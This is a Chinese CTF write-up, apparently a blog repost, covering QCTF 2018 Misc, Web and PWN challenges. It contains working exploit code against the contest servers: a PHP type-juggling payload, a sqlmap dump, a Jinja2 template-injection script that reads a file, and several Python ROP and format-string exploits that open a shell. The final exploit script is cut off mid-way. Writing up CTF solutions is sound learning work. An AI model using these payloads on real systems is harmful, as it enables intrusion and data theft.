QCTF部分 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

网络安全

QCTF部分

2018-07-18 11:12:29

所属地湖南省

原创： fz41 合天智汇

一、啰嗦两句人话

没参加XMAN，但是水了一波QCTF，题目还可以，就是感觉这样题目对我们这些萌新来说是不是太不友好了，感觉收获还是蛮多的，现在来记录一下CTF的writeup，萌新，不会写wp，大牛绕过。

二、Misc

####X-man-A face

- 题目描述：一脸懵逼- 解题思路：题目打开是个画图工具修补一下图片把左边两个角用右上方的角补上，然后就可以用手机扫描二维码了，

三、Web

####Lottery

- 题目描述：http://47.96.118.255:8888

- 解题思路：

题目打开之后可以注册，退出之后无法再次登录

功能大概就是填7个数字，比较相同的个数，从而或者金币，足够多的金币来购买flag

首先扫描一下存在 .git 泄漏

利用工具把源代码下载之后，代码审计 api存在漏洞的代码：

```

if($numbers[$i] == $win_numbers[$i]){

$same_count++;}

```

$win_numbers[$i] 不可预测

$numbers[$i] 来自用户输入的json数据没有做任何处理

可以使之为bool类型数据：

payload：{"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"0":true}

提交两次钱数增长购买flag

####NewsCenter

- 题目描述：This is to0 s1mple

http://47.96.118.255:33066

- 解题思路：

本题可以直接sql注入，没有过滤：

抓包保存在1.txt

```

POST / HTTP/1.1

Host: 47.96.118.255:33066

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Referer: http://47.96.118.255:33066/

Cookie: PHPSESSID=5a3c9494e02ed3c9d0b9008622609f94

Connection: keep-alive

Upgrade-Insecure-Requests: 1

search=asasas

```

然后`sqlmap -r 1.txt -D news -T secret_table --dump`

得到：

+----+-----------------------------+

| id | fl4g |

+----+-----------------------------+

| 1 | QCTF{sq1_inJec7ion_ezzzzzz} |

+----+-----------------------------+

####Confusion1

- 题目描述：confusion1的描述 One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)

http://47.96.118.255:2333/

- 解题思路：

可以打开index.php,但是不能打开登录界面和注册界面题目

```

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL /login.php was not found on this

server.</p>

<hr>

<address>Apache/2.4.10 (Debian) Server at

47.96.118.255 Port 2333</address>

</body></html>

<!--Flag @

/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->

<!--Salt @

/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->

```

404界面提示了flag的位置，这题是要读取文件位置的

不能扫描，会被ban

想起来ASIS的一个类似的题目，猜是ssti 服务端模版注入

访问如下链接：｀

http://47.96.118.255:2333/{{ 7*7 }}｀

```

The requested URL /49 was not found on this server.

```

访问｀http://47.96.118.255:2333/{{ 7*'7' }}｀

```

The requested URL /7777777 was not found on this server.

```

验证了模版是：Jinja2

关于服务端模版注入，这里讲的比较好：https://portswigger.net/blog/server-side-template-injection

但是过滤了class 和 read 导致基础类都没法使用，需要绕过

没有过滤request

因此可以从其他地方获得class

脚本如下

```

import requests

url = '''http://47.96.118.255:2333/{{''[request.cookies.p1][request.cookies.p2][2][request.cookies.p3]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.cookies.p4]()}}'''

cookies = {}

cookies['p1'] = '__class__'

cookies['p2'] = '__mro__'

cookies['p3'] = '__subclasses__'

cookies['p4'] = 'read'

print requests.get(url,cookies=cookies).text

```

四、PWN

####notebook

- 题目描述：nc 118.31.49.175 9999

- 解题思路：一个栈溢出，在check2时候有格式化字符串漏洞。通过格式化字符串修改stack_check_fail的got为pop地址，构造rop

```

from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('118.31.49.175' ,9999)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('May I have your name?')

payload='%'+str(0x880B)+'d'+'%25$hn'+'\x00'*3+l32(0x0804A028)

payload+='1'*0x70

payload+=l32(0x08048791) #get input

payload+=l32(0x08048CAA) #pop 2

payload+=l32(0x0804A100)

payload+=l32(0x8)

payload+=l32(0x080485C0) #system

payload+=l32(0x0)

payload+=l32(0x0804a100)

io.writeline(payload)

raw_input('go?')

io.write('/bin/sh\x00')

io.interact()

#QCTF{f0rmat_s7r1ng_is_happy_}

```

####babycpp

- 题目描述：nc 118.31.49.175 2333

- 解题思路：babycpp 数组越界，难点在于泄露canary，通过unquire函数将canary值复制都较靠前的栈地址使之可以泄露，而后构造rop拿到shell

from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('118.31.49.175', 2333)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('input n:')

io.writeline('20')

io.read_until('4.exit.')

io.writeline('2')

payload='1\n'

payload+='1\n'

payload+='2\n'

payload+='3\n'

payload+='4\n'

payload+='5\n'

payload+='6\n'

payload+='7\n'

payload+='8\n'

payload+='9\n'

payload+='10\n'

payload+='11\n'

payload+='12\n'

payload+='13\n'

payload+='14\n'

payload+='15\n'

payload+='16\n'

payload+='17\n'

payload+='18\n'

payload+='19\n'

io.read_until('input 20 num:')

io.writeline(payload)

io.read_until('4.exit.')

io.writeline('1')

io.writeline('2')

io.read_until('4.exit.')

io.writeline('2')

io.read_until('input 2 num:')

io.writeline('1\n1')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('24')

io.read_until('4.exit.')

io.writeline('3')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('2')

io.read_until('4.exit.')

io.writeline('2')

io.read_until('input 2 num:')

io.writeline('1\n1')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('23')

io.read_until('4.exit.')

io.writeline('3')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('2')

io.read_until('4.exit.')

io.writeline('2')

io.read_until('input 2 num:')

io.writeline('1\n1')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('22')

io.read_until('4.exit.')

io.writeline('3')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('2')

io.read_until('4.exit.')

io.writeline('2')

io.read_until('input 2 num:')

io.writeline('1\n1')

io.read_until('4.exit.')

io.writeline('1')

io.writeline('21')

io.read_until('4.exit.')

raw_input('go?')

io.writeline('3')

io.read_until('19 ')

io.read_until(' ')

test=io.read_until(' ')

test=test[0:-1]

low=int(test,10)

test=io.read_until(' ')

test=test[0:-1]

high=int(test,10)

gs=high*0x100000000+low

print hex(gs)

io.read_until('4.exit.')

io.writeline('1')

io.writeline('56')

io.read_until('4.exit.')

raw_input('go?')

io.writeline('2')

payload='1\n'+'1\n'

payload+='1\n'+'1\n'

payload+=str(low)+'\n'+str(high)+'\n'

payload+='1\n'+'1\n'

payload+=str(0x00401251)+'\n'+str(0x0)+'\n'

payload+=str(0x00602090)+'\n'+str(0x0)+'\n'

payload+='1\n'+'1\n'

payload+=str(0x00401253)+'\n'+str(0x0)+'\n'

payload+=str(0x00602200)+'\n'+str(0x0)+'\n'

payload+=str(0x00400Ab0)+'\n'+str(0x0)+'\n'

payload+=str(0x00401251)+'\n'+str(0x0)+'\n'

payload+=str(0x00602050)+'\n'+str(0x0)+'\n'

payload+='1\n'+'1\n'

payload+=str(0x00401253)+'\n'+str(0x0)+'\n'

payload+=str(0x006020c0)+'\n'+str(0x0)+'\n'

payload+=str(0x00400af0)+'\n'+str(0x0)+'\n'

payload+=str(0x00401253)+'\n'+str(0x0)+'\n'

payload+=str(0x00602050)+'\n'+str(0x0)+'\n'

payload+=str(0x00400Ad0)+'\n'+str(0x0)+'\n'

io.read_until('input 56 num:')

io.writeline(payload)

io.read_until('4.exit.')

io.writeline('4')

io.read_until('\n')

io.read(2)

test=io.read(6)+'\x00'*2

system=struct.unpack("<Q",test)[0]-0x28410

io.writeline('/bin/sh\x00'+l64(system))

io.interact()

#QCTF{we1come_7o_QCTF_and_Xman_}

```

####Xman-dice_game

- 题目描述：nc 47.96.239.28 9999

- 解题思路：dice_game 输入姓名时可以覆盖随机数种子，在此覆盖为0，可以预测随机数产生，预测成功50次，拿到flag

```

from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('47.96.239.28', 9999)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('let me know your name:')

io.writeline('1'*0x40+l64(0x0))

payload='25426251423232651155634433322261116425254446323361'

i=0

while(1):

io.read_until('Give me the point(1~6):')

io.writeline(payload[i])

i=i+1

if(i==50):

break

io.interact()

#QCTF{hav3_4un_w1th_th1s_gam3}

```

####Xman-stack2

- 题目描述：nc 118.31.49.175 9999

- 解题思路：stack2 第三个选项可以数组越界，由于hackthere函数调用/bin/bash字符串不能执行，构造rop调用sh字符串，拿到shell

```

from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('47.96.239.28',2333)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('How many numbers you have:')

io.writeline('1')

io.read_until('Give me your numbers')

io.writeline('1')

io.read_until('5. exit')

io.writeline('3')